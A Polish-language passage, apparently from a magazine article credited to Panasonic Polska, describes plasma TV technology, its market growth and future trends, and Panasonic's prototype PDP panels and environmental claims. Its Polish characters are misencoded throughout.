wej je¿eli chodzi o niezmierzony potencja³ technolo-
gii plazmowej. Jest ona stosunkowo m³od¹ techno-
logi¹ – od czasu wprowadzenia pierwszych telewi-
zorów plazmowych na rynek up³ynê³o zaledwie
oko³o 10 lat. Wraz z rozwojem rynku poprawia³a siê
jakoœæ tych telewizorów i ros³a ich popularnoœæ a¿
do chwili, gdy sta³y siê liderem globalnego rynku du-
¿ych wyœwietlaczy wysokiej jakoœci.

Nieustaj¹cy rozwój technologii PDP sprawi³, ¿e ba-
zuj¹ce na niej telewizory zyska³y opiniê rozwi¹zañ
doskona³ych pod wzglêdem kontrastu, odwzorowa-
nia barw, rozdzielczoœci video i szerokiego k¹ta wi-
dzenia.

W przysz³oœci standardem stanie siê obraz wysokiej
rozdzielczoœci – dotyczy to zarówno transmisji tele-
wizyjnych, jak i np. obrazów kamer oraz odtwarza-
czy video zgodnych z formatem Blu-ray. Bêdziemy
œwiadkami postêpu w rozwoju ³¹cznoœci bezprzewo-
dowej i innych technologii peryferyjnych, co przy-
czyni siê do zwiêkszenia konwergencji miêdzy tele-
wizorami a technologiami komunikacyjnymi. Równo-
legle do tych zmian zwiêkszy siê popyt na wielko-
ekranowe p³askie telewizory wysokiej rozdzielczo-
œci. Jednoczeœnie wzroœnie wykorzystanie ekranów
PDP m.in. w dziedzinie medycyny i edukacji.

Panasonic d¹¿y do tego, aby w swoich produktach
coraz wy¿ej ustawiaæ poprzeczkê w kwestii jako-
œci oraz poprawiaæ ich walory ekologiczne. By³ np.
pierwsz¹ firm¹, która ca³kowicie wyeliminowa³a o³ów
z produkowanych przez siebie telewizorów plazmo-
wych. Wyró¿niaj¹ siê one tak¿e d³ugim czasem
¿ycia, wynosz¹cym 100 tys. godzin. Do ich bu-
dowy wykorzystuje siê tak¿e naturalne materia³y,
np. membrany z w³ókna bambusowego stosowane
w g³oœnikach. n

Zród³o: Panasonic Polska
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Panasonic zaprezentowa³ prototypowe

wyœwietlacze plazmowe (PDP) wykorzystuj¹ce

prze³omowe technologie. Wœród modeli znalaz³ siê

m.in. Panel o przek¹tnej 42 cale wyró¿niaj¹cy siê

technologi¹ o dwukrotnie wy¿szej efektywnoœci,

zmniejszaj¹c¹ o po³owê zu¿ycie energii

przy jednoczesnym dwukrotnym zwiêkszeniu

jasnoœci oraz ultrap³aski model o przek¹tnej 50 cali

i gruboœci poni¿ej 1 cala.

Plazmowa rewolucja

Prototypowe

wyœwietlacze plazmowe

PDP
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